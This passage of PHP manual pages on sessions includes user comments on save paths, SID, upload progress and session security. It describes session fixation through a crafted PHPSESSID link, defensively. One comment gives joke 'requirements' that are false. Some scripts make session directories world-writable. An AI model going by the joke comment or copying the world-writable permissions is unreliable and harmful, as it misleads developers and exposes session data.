        if mkdir "$dir"
        then
            echo "Directory '$dir' created."
        else
            echo "Cannot create directory '$dir'.  Aborting." ; exit 2
        fi
    fi
    chmod a+rwx "$dir"
    if [[ $1 -gt 0 ]]
    then
        local depth=$(( $1 - 1 ))
        for letter in $alphabet
        do    doDir $depth "$dir/$letter"
        done
    fi
    }

echo "Running with savePath='$savePath', dirDepth=$dirDepth, and bitsPerCharacter=$bits."
sleep 3

doDir $dirDepth "$savePath"

exit 0
hassankhodadadeh at NOSPAM dot gmail dot com 21-Mar-2012 02:42
max value for "session.gc_maxlifetime" is 65535. values bigger than this may cause  php session stops working.
AskApache 11-Nov-2010 07:00
This is how I set my session.save_path
session.save_path = "1;/home/askapache/tmp/s"
So to create the folder structure you can use this compatible shell script, if you want to create with 777 permissions change the umask to 0000;
sh -o braceexpand -c "umask 0077;mkdir -p s/{0..9}/{a..z} s/{a..z}/{0..9}"

Then you can create a cronjob to clean the session folder by adding this to your crontab which deletes any session files older than an hour:
@daily find /home/askapache/tmp/s -type f -mmin +60 -exec rm -f {} \; &>/dev/null

That will create sessions in folder like:
 /home/askapache/tmp/s/b/sess_b1aba5q6io4lv01bpc6t52h0ift227j6

I don't think any non-mega site will need to go more than 1 levels deep.  Otherwise you create so many directories that it slows the performance gained by this.
orbill 30-Aug-2010 02:08
apparently the default value for session.use_only_cookies has changed in 5.3.3 from 0 to 1. If you haven't set this in your php.ini or your code to 0 transparent sessions won't work.
Nicholas 26-Aug-2010 08:08
Transient sessions do not appear to be working in 5.3.3

E.g.

<?php
    ini_set("session.use_cookies", 0);
    ini_set("session.use_trans_sid", 1);
    session_start();

    if (isset($_SESSION["foo"])) {
        echo "Foo: " . $_SESSION["foo"];
    } else {
        $_SESSION["foo"] = "Bar";
        echo "<a href=?" . session_name() . "=" . session_id() . ">Begin test</a>";
    }
?>

This works in 5.2.5, but not 5.3.3
Wouter 19-May-2010 12:14
When setting the session.cookie_lifetime directive in a .htaccess use string format like;

php_value session.cookie_lifetime "123456"

and not

php_value session.cookie_lifetime 123456

Using a integer as stated above dit not work in my case (Apache/2.2.11 (Ubuntu) PHP/5.2.6-3ubuntu4.5 with Suhosin-Patch mod_ssl/2.2.11 OpenSSL/0.9.8g)
mikaelkael at php dot net 28-Jan-2009 09:50
Recently, I needed to change the session save_path in my program under Windows. With an ini_set('session.save_path', '../data/sessions'); (and session.gc_divisor = 1 for test), I always obtain 'Error #8 session_start(): ps_files_cleanup_dir: opendir(../data/sessions) failed: Result too large'.

I corrected this by changing with ini_set('session.save_path', realpath('../data/sessions'));
sony-santos at bol dot com dot br 16-Oct-2008 08:17
In response to 00 at f00n, this very page explains:

"(...) if N is used and greater than 0 then automatic garbage collection will not be performed (...)"

So you can actually use custom save_path with automatic garbage collection, since you don't use the subdirectory option (that N subdirectory levels).
00 at f00n dot com 25-Jun-2008 03:36
After having many problems with garbage collection not clearing my sessions I have resolved it through the following.

First I found this in the php.ini (not something i noticed as i use phpinfo(); to see my hosting ini).

; NOTE: If you are using the subdirectory option for storing session files
;       (see session.save_path above), then garbage collection does *not*
;       happen automatically.  You will need to do your own garbage

; collection through a shell script, cron entry, or some other method. ;       For example, the following script would is the equivalent of
;       setting session.gc_maxlifetime to 1440 (1440 seconds = 24 minutes):
;          cd /path/to/sessions; find -cmin +24 | xargs rm

With this is mind there are options.

1. dont use a custom save_path.
** This means if your isp hasnt defaulted your session temp to something safer than install default or you are using a shared directory for session data then you would be wise to use named sessions to keep your session from being viewable in other people's scripts.  Creating a unique_id name for this is the common method. **

2. use your custom folder but write a garbage collection script.

3. use a custom handler and a database
phpforcharity dot 5 dot pistos at geoshell dot com 24-Jun-2008 03:05
To get session IDs to show up in URIs, and not get stored via cookies, you must not only set session.use_cookies to 0, but also set session.use_trans_sid to 1.  Otherwise, the session ID goes neither in a cookie nor in URIs!


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

SID (string)
Constant containing either the session name and session ID in the form of "name=ID" or empty string if session ID was set in an appropriate session cookie. This is the same id as the one returned by session_id().
PHP_SESSION_DISABLED (int)
Since PHP 5.4.0. Return value of session_status() if sessions are disabled.
PHP_SESSION_NONE (int)
Since PHP 5.4.0. Return value of session_status() if sessions are enabled, but no session exists.
PHP_SESSION_ACTIVE (int)
Since PHP 5.4.0. Return value of session_status() if sessions are enabled, and a session exists.

User Contributed Notes

yesmarklapointe at hotmail dot com 05-Feb-2009 01:19
Here is some info about how to use SID. Experiment run on WAMPserver, PHP version 5.2.6.
Using FireFox 3.0.

In php.ini,  session.use_cookies has an effect upon whether or not SID passes an empty string or the session info. If it is on, SID is evaluated for the session info upon initial page view, but once a cookie has been set (automatically by  session.use_cookies) in the browser, subsequent views (like page reloads or using the back button) have the cookie being returned to the script so SID is then evaluated as an empty string. On the other hand, if session.use_cookies is off, (and provided you don't create a cookie by some other means), SID will evaluate as the session info no matter how many times you reload the page or use the back button because session_start() keeps opening a new session and no cookies are being set. Be aware this behavior will change the functionality of any links you build with SID. To have a reliable link with session info in it, spell it out using session_name() and session_id(), not SID. Example:

echo '<a href="page2.php?' . session_name() . ' ='  . session_id() . ' ">page2</a>' ;

and not

echo '<a href="page2.php?' . SID . ' ">page2</a>';

Two other settings that I thought might be relevant were not.  session.use_only_cookies  and session.use_trans_sid have no effect at all on the evaluation of SID for a specific line in the code, that is, in  regard to whether or not it is evaluated as an empty string or as the session info.

And as to functioning in your code, using both session.use_trans_sid and also successfully evaluating SID for session info (as described above) will create a doubling of the session info, screwing up the path you are trying to create.


Examples

Table of Contents

  • Basic usage
  • Passing the Session ID
  • Custom Session Handlers

User Contributed Notes

epuk_epicnospam at hotmail dot com 27-Apr-2013 06:17
Another option that prevents form resubmit using the back button, and one that does not require sessions or predefined get parameters, is redirecting to a different url after the form is submitted.
Anonymous 16-Dec-2011 11:01
To avoid re-submits I add a random-number $rand to the form by "GET".

(action='file.php?rand= $rand').

Further, the $rand is stored in a SESSION-variable.

Everytime the file ist called,  the functions will only be processed if the $rand that comes by "GET" is not identical to the $rand in the SESSION-variable.

If someone comes there by pressing the "back" key of his browser, the 2 $rand will be identical and nothing will happen.

That works perfect.
Chris 07-Feb-2011 05:52
It took me a while to find out how to use PHP sessions to prevent HTML form re-submits. A user can re-submit a form via the backspace key/back arrow and/or the F5/refresh key. I needed to control if/when a HTML form could be resubmitted. Here's what I came up with:

<?php
$SID = session_id();
if(empty($SID)) session_start() or exit(basename(__FILE__).'(): Could not start session');
$_SESSION['err'] = ''; $exit = false;
do {
    //    check if form was previously submitted
    if(isset($_POST['submit']) and isset($_POST['SID']) and ($_POST['SID'] !== session_id())) {
        $ret = null; $exit = true; break; }
    //    break out of do-while if form has not been submitted yet
    if(empty($_POST['submit'])) break;
    //    process form data if user hit form "submit" button
    if(isset($_POST['submit'])) {
        $ret = validate_form();
        //    ret will be error message if form validation failed
        if(is_string($ret)) { $_SESSION['err'] = $ret; break; }
        //    ret will be array of cleaned form values if validation passed
        if(is_array($ret)) { session_regenerate_id(true); $exit = true; break; }
    }
} while(false);

if($exit) display_receipt($ret);
$exit and exit;

function validate_form() {
    $tmp = htmlspecialchars(strtoupper($_POST['name']));    //    clean POST data
    if(stripos($_POST['great'], 'yes') !== false) return array('name' => $tmp, 'great' => 'YES!');
    return 'Wrong answer!';
}

function display_receipt($msg) {
    if($msg === null) echo 'You already answered the question!';
    if(is_array($msg)) echo 'Your answer of '.$msg['great'].' is right '.$msg['name'];
    return;
}
?>

<html><body>
<?php echo $_SESSION['err']; ?>
<form name="form1" action="http://<?php echo $_SERVER['HTTP_HOST'], $_SERVER['PHP_SELF']; ?>" method="post">
Name: <input type="text" name="name" value="<?php isset($_SESSION["name"]) and print $_SESSION["name"]; ?>">
Is PHP great? <input type="text" name="great" value="<?php isset($_SESSION["great"]) and print $_SESSION["great"]; ?>">
<input type="hidden" name="SID" value="<?php echo session_id(); ?>">
<input type="submit" name="submit" value="Submit">
</form></body></html>
ranc at mobixell dot com 07-Apr-2009 01:24
I have wrote this following piece of code that shows how to work with global sessions (global to all clients) and private sessions (private per browser instance i.e. session cookie).

This code is usefull to store some read-only complex configuration and store it once (per server) and save the performance penatly for doing the same thing over each new private session...

Enjoy:
<?php
    // Get the private context
    session_name('Private');
    session_start();
    $private_id = session_id();
    $b = $_SESSION['pr_key'];
    session_write_close();

    // Get the global context
    session_name('Global');
    session_id('TEST');
    session_start();

    $a = $_SESSION['key'];
    session_write_close();

    // Work & modify the global & private context (be ware of changing the global context!)
 ?>
<html>
    <body>
        <h1>Test 2: Global Count is: <?=++$a?></h1>
        <h1>Test 2: Your Count is: <?=++$b?></h1>
        <h1>Private ID is <?=$private_id?></h1>
        <h1>Gloabl ID is <?=session_id()?></h1>
        <pre>
        <?php print_r($_SESSION); ?>
        </pre>
    </body>
 </html>
 <?php
    // Store it back
    session_name('Private');
    session_id($private_id);
    session_start();
    $_SESSION['pr_key'] = $b;
    session_write_close();

    session_name('Global');
    session_id('TEST');
    session_start();
    $_SESSION['key']=$a;
    session_write_close();
?>

[EDIT BY danbrown AT php DOT net: Contains a bugfix provided by (lveillette AT silexmultimedia DOT com) on 19-NOV-09.]


Basic usage

Sessions are a simple way to store data for individual users against a unique session ID. This can be used to persist state information between page requests. Session IDs are normally sent to the browser via session cookies and the ID is used to retrieve existing session data. The absence of an ID or session cookie lets PHP know to create a new session, and generate a new session ID.

Sessions follow a simple workflow. When a session is started, PHP will either retrieve an existing session using the ID passed (usually from a session cookie) or if no session is passed it will create a new session. PHP will populate the $_SESSION superglobal with any session data after the session has started. When PHP shuts down, it will automatically take the contents of the $_SESSION superglobal, serialize it, and send it for storage using the session save handler.

By default, PHP uses the internal files save handler which is set by session.save_handler. This saves session data on the server at the location specified by the session.save_path configuration directive.

Sessions can be started manually using the session_start() function. If the session.auto_start directive is set to 1, a session will automatically start on request startup.

Sessions normally shutdown automatically when PHP is finished executing a script, but can be manually shutdown using the session_write_close() function.

Example #1 Registering a variable with $_SESSION.

<?php
session_start();
if (!isset($_SESSION['count'])) {
  $_SESSION['count'] = 0;
} else {
  $_SESSION['count']++;
}
?>

Example #2 Unregistering a variable with $_SESSION.

<?php
session_start();
unset($_SESSION['count']);
?>

Caution

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

Warning

You can't use references in session variables as there is no feasible way to restore a reference to another variable.

Warning

register_globals will overwrite variables in the global scope whose names are shared with session variables. Please see Using Register Globals for details.

Note:

File based sessions (the default in PHP) lock the session file once a session is opened via session_start() or implicitly via session.auto_start. Once locked, no other script can access the same session file until it has been closed by the first script terminating or calling session_write_close().

This is most likely to be an issue on Web sites that use AJAX heavily and have multiple concurrent requests. The easiest way to deal with it is to call session_write_close() as soon as any required changes to the session have been made, preferably early in the script. Alternatively, a different session backend that does support concurrency could be used.

User Contributed Notes

eddie at onefoldmedia dot com 02-Jan-2014 02:20
If a session is not saving and you have verified that session_start() is being called, then double check capitalization. $_session can store variables but will not be treated like a session or cause an error.
guy at syntheticwebapps dot com 26-Sep-2013 01:01
Despite the warning about not being able to use references inside the session space, I've done it in the past and apparently completely successfully. That is, I can do something like this:

<?php
session_start();
if (!$_SESSION['favorite']) {
    $_SESSION['cow'] = "Elsie";
    $_SESSION['favorite'] =& $_SESSION['cow'];
    echo "We set cow = '$_SESSION[cow]' and favorite =& cow ($_SESSION[favorite]).<br/>Reload the page to see if both change when one changes later.<br/>";
} else {
    echo "Having re-entered the session after initial settings were made: cow = $_SESSION[cow] and favorite = $_SESSION[favorite].<br/>";
    $_SESSION['cow'] = "Bessie";
    echo "We reassigned cow = $_SESSION[cow] and our restored reference variable favorite = $_SESSION[favorite]<br/>Note the presence of the &s in the var_dump below.<pre>";
    var_dump($_SESSION);
    echo "</pre><br/>If you reload, the test will begin again.";
    unset($_SESSION['cow'], $_SESSION['favorite']);
    session_destroy();
}
?>
yields the following after the second request:

Having re-entered the session after initial settings were made: cow = Elsie and favorite = Elsie.
We reassigned cow = Bessie and our restored reference variable favorite = Bessie
Note the presence of the &s in the var_dump below.
array(2) {
  ["cow"]=>
  &string(6) "Bessie"
  ["favorite"]=>
  &string(6) "Bessie"
}
If you reload, the test will begin again.

I've found this ability very useful and storage efficient in the session data.
AlexFBP 25-Jan-2013 01:50
Regardless, if you need to set the header 'Location:' before closing the session; explicitly close the php script with "exit()" or "die()" functions. Remember that when a php script ends, the session automatically are going to be closed.
jpleveille at webgraphe dot com 08-Sep-2012 03:06
As mentioned in the documentation, using session_write_close() shuts down the session. It is particularly useful if you want to use header('Location: SOMEURL'); to a URL within the same scope of the current script, that will load the session. Why?

When you use this header directive, the browser is requested to redirect the user to the given URL. If that URL is in the scope of the script where header() is called (let's say, same URL), the requested URL "COULD" load the session BEFORE it has actually been shut down in the previous script, and you might end up with the session from the previous request, reverting all modifications to session in the the last script.

<?php
session_start();

if (!isset($_SESSION['hello']))
{
  $_SESSION['hello'] = 'world';

  session_write_close();
  // session is now closed, it's safe to redirect
  // if not closed, $_SESSION['hello'] may not be set properly
  // when loading the page again
  // (in this very case, calls to this script could loop for a while)
  header('Location: ' . $_SERVER['PHP_SELF']);
}
?>


Passing the Session ID

There are two methods to propagate a session id:

  • Cookies
  • URL parameter

The session module supports both methods. Cookies are optimal, but because they are not always available, we also provide an alternative way. The second method embeds the session id directly into URLs.

PHP is capable of transforming links transparently. Unless you are using PHP 4.2.0 or later, you need to enable it manually when building PHP. Under Unix, pass --enable-trans-sid to configure. If this build option and the run-time option session.use_trans_sid are enabled, relative URIs will be changed to contain the session id automatically.

Note:

The arg_separator.output php.ini directive allows to customize the argument seperator. For full XHTML conformance, specify &amp; there.

Alternatively, you can use the constant SID which is defined if the session started. If the client did not send an appropriate session cookie, it has the form session_name=session_id. Otherwise, it expands to an empty string. Thus, you can embed it unconditionally into URLs.

The following example demonstrates how to register a variable, and how to link correctly to another page using SID.

Example #1 Counting the number of hits of a single user

<?php

session_start();

if (empty($_SESSION['count'])) {
   $_SESSION['count'] = 1;
} else {
   $_SESSION['count']++;
}
?>

<p>
Hello visitor, you have seen this page <?php echo $_SESSION['count']; ?> times.
</p>

<p>
To continue, <a href="nextpage.php?<?php echo htmlspecialchars(SID); ?>">click
here</a>.
</p>

The htmlspecialchars() may be used when printing the SID in order to prevent XSS related attacks.

Printing the SID, like shown above, is not necessary if --enable-trans-sid was used to compile PHP.

Note:

Non-relative URLs are assumed to point to external sites and hence don't append the SID, as it would be a security risk to leak the SID to a different server.

User Contributed Notes

Anonymous 17-Mar-2010 07:23
The first time a page is accessed, PHP doesn't yet know if the browser is accepting cookies or not, so after session_start() is called, SID will be non-empty, and the PHPSESSID gets inserted in all link URLs on that page that are properly using SID.

This has the consequence that if, for example, a search engine bot hits your home page first, all links that it sees on your home page will have the ugly PHPSESSID=... in them.

This appears to be the default behavior. A work-around is to turn on session.use_only_cookies, but then you lose session data for anyone who has their cookies turned off.
a dot nielsen at shikadi dot net 10-Feb-2009 03:49
When you generate URLs yourself using the SID variable, it must come first in the URL parameter list.  For example, if SID expands to "mysession=123" then this does NOT work:

  file.php?var1=value&mysession=123

The SID must come first:

  file.php?mysession=123&var1=value

If the SID does not come first then session_start() does not recognise it and it creates a new session instead of loading the old one.


Custom Session Handlers

To implement database storage, or any other storage method, you will need to use session_set_save_handler() to create a set of user-level storage functions. As of PHP 5.4.0 you may create session handlers using the SessionHandlerInterface or extend internal PHP handlers by inheriting from SessionHandler.

The callbacks specified in session_set_save_handler() are methods called by PHP during the life-cycle of a session: open, read, write and close and for the housekeeping tasks: destroy for deleting a session and gc for periodic garbage collection.

Therefore, PHP always requires session save handlers. The default is usually the internal 'files' save handler. A custom save handler can be set using session_set_save_handler(). Alternative internal save handlers are also provided by PHP extensions, such as sqlite, memcache and memcached and can be set with session.save_handler.

When the session starts, PHP will internally call the open handler followed by the read callback which should return an encoded string exactly as it was originally passed for storage. Once the read callback returns the encoded string, PHP will decode it and then populate the resulting array into the $_SESSION superglobal.

When PHP shuts down (or when session_write_close() is called), PHP will internally encode the $_SESSION superglobal and pass this along with the session ID to the write callback. After the write callback has finished, PHP will internally invoke the close callback handler.

When a session is specifically destroyed, PHP will call the destroy handler with the session ID.

PHP will call the gc callback from time to time to expire any session records according to the set max lifetime of a session. This routine should delete all records from persistent storage which were last accessed longer than the $lifetime.

User Contributed Notes

There are no user contributed notes for this page.


Session Upload Progress

When the session.upload_progress.enabled INI option is enabled, PHP will be able to track the upload progress of individual files being uploaded. This information isn't particularly useful for the actual upload request itself, but during the file upload an application can send a POST request to a separate endpoint (via XHR for example) to check the status.

The upload progress will be available in the $_SESSION superglobal when an upload is in progress, and when POSTing a variable of the same name as the session.upload_progress.name INI setting is set to. When PHP detects such POST requests, it will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and session.upload_progress.name INI options. The key is typically retrieved by reading these INI settings, i.e.

<?php
$key = ini_get("session.upload_progress.prefix") . $_POST[ini_get("session.upload_progress.name")];
var_dump($_SESSION[$key]);
?>

It is also possible to cancel the currently in-progress file upload, by setting the $_SESSION[$key]["cancel_upload"] key to TRUE. When uploading multiple files in the same request, this will only cancel the currently in-progress file upload, and pending file uploads, but will not remove successfully completed uploads. When an upload is cancelled like this, the error key in $_FILES array will be set to UPLOAD_ERR_EXTENSION.

The session.upload_progress.freq and session.upload_progress.min_freq INI options control how frequent the upload progress information should be recalculated. With a reasonable amount for these two settings, the overhead of this feature is almost non-existent.

Example #1 Example information

Example of the structure of the progress upload array.

<form action="upload.php" method="POST" enctype="multipart/form-data">
 <input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
 <input type="file" name="file1" />
 <input type="file" name="file2" />
 <input type="submit" />
</form>

The data stored in the session will look like this:

<?php
$_SESSION["upload_progress_123"] = array(
 "start_time" => 1234567890,   // The request time
 "content_length" => 57343257, // POST content length
 "bytes_processed" => 453489,  // Amount of bytes received and processed
 "done" => false,              // true when the POST handler has finished, successfully or not
 "files" => array(
  0 => array(
   "field_name" => "file1",       // Name of the <input/> field
   // The following 3 elements equals those in $_FILES
   "name" => "foo.avi",
   "tmp_name" => "/tmp/phpxxxxxx",
   "error" => 0,
   "done" => true,                // True when the POST handler has finished handling this file
   "start_time" => 1234567890,    // When this file has started to be processed
   "bytes_processed" => 57343250, // Number of bytes received and processed for this file
  ),
  // An other file, not finished uploading, in the same request
  1 => array(
   "field_name" => "file2",
   "name" => "bar.avi",
   "tmp_name" => NULL,
   "error" => 0,
   "done" => false,
   "start_time" => 1234567899,
   "bytes_processed" => 54554,
  ),
 )
);

Warning

The web server's request buffering has to be disabled for this to work properly, else PHP may see the file upload only once fully uploaded. Servers such as Nginx are known to buffer larger requests.

User Contributed Notes

StrateGeyti 21-Oct-2014 07:07
It seems like if you send a form with the field like :

<?php echo '<input type="hidden" name="'.ini_get('session.upload_progress.name') .'" value="123" />';  ?>

without any field type "file", the server respons will be an 500 error.
wilsonr at st dot com 03-Oct-2014 04:22
If you have upload progress enabled in your php.ini, and you have

<form enctype="multipart/form-data" ...
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ...

in your form, but you DON'T specify an input with 'type="file"', you may lose your session ID. I am using PHP 5.5 and I lose my session ID on the second loading of such a page. To prevent this, you can use a dummy input as follows:

<form enctype="multipart/form-data" ... >
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" ... />
    <input type="file"' name="dummy" style="display="none;" ... />
micheal_jordan at rocketmail dot com 16-May-2014 07:21
It also be noted that dhinka chika, dhinka chika, ae ae. Other wise none of the $_SESSION super global variable will get any of the information related to uploading. Always define global $hoogalala before initializing any upload form.
jortsc at gmail dot com 30-Sep-2013 03:47
Note that if you run that code and you print out the content of $_SESSSION[$key] you get an empty array due that session.upload_progress.cleanup is on by default and it  cleans the progress information as soon as all POST data has been read.

Set it to Off or 0 to see the content of $_SESSION[$key].
Anonymous 13-Jun-2013 12:34
While the example in the documentation is accurate, the description is a bit off. To clarify:

PHP will populate an array in the $_SESSION, where the index is a concatenated value of the session.upload_progress.prefix and the VALUE of the POSTed session.upload_progress.name variable.
Anonymous 02-May-2013 05:01
dont't forget, that the session has to be initialized before the form is generated, otherwise the mentioned example above won't work.
isius 03-Sep-2012 02:11
If you're seeing
"PHP Warning:  Unknown: The session id is too long or contains illegal characters, valid characters are a-z, A-Z, 0-9 and '-,' in Unknown on line 0",
then a misplaced input could be the cause. It's worth mentioning again that the hidden element MUST be before the file elements.
nihaopaul at gmail dot com 10-Aug-2012 03:12
it should be noted that the hidden element come before the file element otherwise you wont get any updates.
s.zarges 20-Jun-2012 06:32
Note, this feature doesn't work, when your webserver is runnig PHP via FastCGI. There will be no progress informations in the session array.
Unfortunately PHP gets the data only after the upload is completed and can't show any progress.

I hope this informations helps.
wojbach at o2 dot pl 05-Mar-2012 09:41
"session.upload-progress.name" -> whether here shouldn't be a underscore instead of a dash
powtac at gmx dot de 02-Mar-2012 05:35
For PHP >= 5.2 there is http://pecl.php.net/package/uploadprogress
takeone 02-Dec-2011 04:12
IE6 does not inherit session when you launch new browser from start menu or shortcut.It's the feature.
It is recommended that upload form and progress bar are on same window.
gerd dot randolf at web dot de 09-Nov-2011 04:29
Note that this will be available from PHP 5.4 on. It won't work in PHP 5.3 or earlier.


Sessions and security

External links: » Session fixation

HTTP session management is core of web security. All of mitigation should be adopted to make sure session security. Developer should enable/use applicable settings appropriately.

  • session.cookie_lifetime=0. 0 have special meaning. It tells browsers not to store cookie to permanent storage. Therefore, when browser is terminated, session ID cookie is deleted immediately. If developer set other than 0, it may allow other users to use the session ID. Most applications should use "0" for this. If auto login feature is required, implement your own secure auto login feature. Do not use session ID for it.
  • session.use_cookies=On and session.use_only_cookies=On. Although HTTP cookie has some problems, cookie is preferred way to manage session ID. Use only cookies for session ID management when it is possible. Most applications should use cookie for session ID.
  • session.use_strict_mode=On. This prevents session module to use uninitialized session ID. In other word, session module only accepts valid session ID generated by session module. It rejects session ID supplied by users. Session ID injection could be done by cookie injection via JavaScript permanently or temporarily. When transparent session is enabled, session ID could be injected via query string or form parameter. There is no reason to accept user supplied session ID, most applications must not accept user supplied uninitialized session ID.
  • session.cookie_httponly=On. Disallow access to session cookie by JavaScript. This setting prevents cookies stolen by JavaScript injection. It is possible to use session ID as CSRF protection key, but this is not recommended. For example, HTML source may be saved and sent to other users. Developer should not write session ID in web pages for better security. Almost all applications must use httponly attribute for session ID cookie.
  • session.cookie_secure=On. Allows access to session ID cookie only when protocol is HTTPS. If your web site is HTTPS only web site, you must enable this setting. Use of HSTS should be considered for HTTPS only web site.
  • session.gc_maxlifetime=[choose smallest possible]. GC is performed by probability. This setting does not guarantee old session deletion. Some session save handler modules do not use this setting. Refer to session save handler documentation for details. Although developer cannot rely on this setting, setting this to smallest possible value is recommended. Adjust session.gc_probability and session.gc_divisor so that obsolete sessions are deleted by appropriate frequency. If auto login feature is required, implement your own secure auto login feature. Do not use long life session ID for it.
  • session.use_trans_sid=Off. Use of transparent session ID management is not prohibited. You may use it when it is needed. However, disabling transparent session ID management would improve general session ID security by removing possibility of session ID injection and session ID leak.
  • session.referer_check=[your originating URL] When session.use_trans_sid is enabled, use of this setting is recommended if it is possible. It reduces risk of session ID injection. If your site is http://example.com/, set http://example.com/ to it. Note that when HTTPS is used, browser will not send referrer header. Browser may not send referrer header by configuration. Therefore, this setting is not reliable security measure.
  • session.cache_limiter=nocache. Make sure HTTP contents are not cached for authenticated session. Allow caching only when contents is not private. Otherwise, contents may be exposed. "private" may be used if HTTP content does not include security sensitive data. Note that "private" may leave private data cached by shared clients. "public" may be used only when HTTP content does not contain any private data at all.
  • session.hash_function="sha256". Stronger hash function will generates stronger session ID. Although hash collision is unlikely even with MD5 hash, developers should use SHA-2 or later hash functions for the task. Developers may use stronger hashes like sha384 and sha512.

The session module cannot guarantee that the information you store in a session is only viewed by the user who created the session. You need to take additional measures to actively protect the confidentiality of the session, depending on the value associated with it.

Assess the importance of the data carried by your sessions and deploy additional protections -- this usually comes at a price, reduced convenience for the user. For example, if you want to protect users from simple social engineering tactics, you need to enable session.use_only_cookies. In that case, cookies must be enabled unconditionally on the user side, or sessions will not work.

There are several ways to leak an existing session ID to third parties. A leaked session ID enables the third party to access all resources which are associated with a specific ID. First, URLs carrying session IDs. If you link to an external site, the URL including the session id might be stored in the external site's referrer logs. Second, a more active attacker might listen to your network traffic. If it is not encrypted, session IDs will flow in plain text over the network. The solution here is to implement SSL on your server and make it mandatory for users. HSTS should be used for this.

Since PHP 5.5.2, session.use_strict_mode is available. When it is enabled and save handler module supports it, uninitialized session ID is rejected and new session ID is created. This protects attack that force users to use known session ID. Attacker may paste links or send mail that contains session ID. e.g. http://example.com/page.php?PHPSESSID=123456789 If session.use_trans_sid is enabled, victim will start session using attacker provided session ID. session.use_strict_mode mitigates the risk.

Even though session.use_strict_mode mitigates risk of adoptive session management, attacker can force users to use initialized session ID which is created by attacker. All attacker has to do is initialize session ID prior to attack and keep it alive.

Session ID cookie could be set with domain, path, httponly, secure attributes. There is precedence defined by browsers. By using the precedence, attacker can set session ID that could be used permanently. Use of session.use_only_cookies will not solve this issue. session.use_strict_mode mitigates this risk. With session.use_strict_mode=On, uninitialized session ID will not be accepted. Session module creates new session ID always when session ID is not initialized by session module. This could result in DoS to victim, but DoS is better than compromised account.

session.use_strict_mode is good mitigation, but it is not enough mitigation for authenticated session. Developer must use session_regenerate_id() for authentication. session_regenerate_id() must be called prior to set authentication information to $_SESSION. session_regenerate_id() makes sure new session contains authenticated information stored only in new session. i.e. Errors during authentication process may save authenticated flag in old session.

Calling session_regenerate_id() function could result in personal DoS like use_strict_mode=On. However, DoS is better than compromised account. Session ID should be regenerated when user is authenticated at least. Session ID regeneration reduces risk of stolen session ID, thus is should be called periodically. Developer should not rely on session ID expiration. Attackers may access victim's session ID periodically to prevent expiration. Developers must implement their own expiration feature for old sessions.

Note that session_regenerate_id() does not delete old session by default. Old authenticated session may be available for use. If developer would like to prevent old authenticated session to be used by anyone, developer must destroy session by setting delete_old_session to TRUE. However, immediate old session deletion has unwanted side effect. Session could be vanished when there are concurrent connections to web application and/or network is unstable. Instead of deleting old session immediately, you may set short term expiration time in $_SESSION by yourselves. If user accesses to obsolete session(expired session), deny access to it.

session.use_only_cookies and proper use of session_regenerate_id() could cause personal DoS. When this is the case, you may ask users to remove cookies and warn users that there could be possible security issues. Attackers may set malicious cookies via vulnerable web application (i.e. JavaScript injection), vulnerable/malicious browser plugins, etc.

Developers must not use long life session ID for auto login as it increases risk of stolen session. Auto login should be implemented by developer. Use secure one time hash key as auto login key using cookie. Use secure hash stronger than SHA-2. e.g. SHA-256 or greater with random data from /dev/urandom or like. If user is not authenticated, check the one time auto login key is valid or not. If key is valid, authenticate user and set new secure one time hash key. Auto login key is long lived authentication key, this key should be protected as much as possible. Use path/httponly/secure attributes of cookie to protect. Developer must implement feature that disables auto login and removes unneeded auto login key cookie for users.

User Contributed Notes

bmearns at ieee dot org 27-Jan-2009 08:41
In addition to ip-address binding not always being effective, it can also prevent users connecting through a proxy-pool from even being able to use your site. In such a scenario, a person's IP address may very well change with every access.

If you're handling anything remotely secure, the only safe option is HTTPS. If the data doesn't need to be that secure, than you should not allow a high-jacked session to do too much damage. Basically, don't assume that a person really is who they pretend to be just because the session says a person authenticated with a username and password: it may have been that person who logged in, but that doesn't mean it's still that person. So if you're going to do something like change passwords or something, require them to authenticate again on the same form.

Of course this needs to be done in some secure way, as well, so that the password is not just floating over the network. A good way to do this is sending a nonce (number-used-once) along with the form and some javascript to concatenate the nonce to the password, then perform a cryptographic hash of the combined string. The resulting valid-once "password" should then be sent instead of the plain text password. To be effective, you also need to prevent people from using the form if they don't have JavaScript enabled. You can do this by disabling the form fields in HTML, then re-enabling them in JavaScript.
justin at fatbird dot ca 19-Jan-2009 03:56
IP checking is a sometimes useful feature with two limitations that are important to be aware of:

1. Anyone surfing behind a proxy (e.g., someone at work) will provide the proxy's IP, not his own.  Session ID replay attacks will not be prevented by IP checking for an attacker on the user's side of the proxy.

2. If the PHP application is behind a reverse proxy, the reverse proxy's IP address will be the only request IP seen by PHP, so IP checking is useless.
Anurag Jain 12-Dec-2008 06:28
Websites which have sensitive information need to be patched to ensure its not exploited because of session issues.

In earlier versions of apache cookie reliability was not assumed and hence the default method was always using url-rewrite which meant every url link, every form submission etc would have a PHPSESSID=<sessionid> passed along to inform the server about the active session. New versions have turned this off using

session.use_trans_sid = 0

in the /etc/php5/apache2/php.ini file.

Reasons?
Well one might safe the offline page as a bookmark or pass the link across to others not realizing that the session id information is also sent. So someone who quickly accesses these pages could possible get logged on, this was also true wrt search engines, and I guess in some cases it being seen as duplicate content as the same page will have a different session id every time the robots scan the website.

But having this set does not mean you are protected. Let me explain.
What prevents me from presetting the session id! Assume there is a banking site www.example.com which has a login screen at www.example.com/login.php
I can send you can email with a link to the bank site as http://www.example.com/login.php?PHPSESSID=12345
When you click on the link it presents the session id as 12345 rather then asking the server to generate a new one. This is called session fixation. Keep in mind even with session.use_trans_sid = 0 this will work as this sets it only not to use url-rewrite. To prevent this altogether set session.use_only_cookies = 1 which ensures that only cookies will be used, but this could cause problems when dealing with transaction which involve switch sites, i.e. siteA forwards to site B for payment which forwards to siteA for thank you, in which case a phpsessid inform might be used to revive the old session.

A good approach would always be to at the login screen and immediately post login to force a new session id generated using random numbers

session_start();
$newsessid = somerandomnumberfunction();
session_id($newsessid);

you can also use session_regenerate_id() function to generate a new id

session_start();
session_regenerate_id();

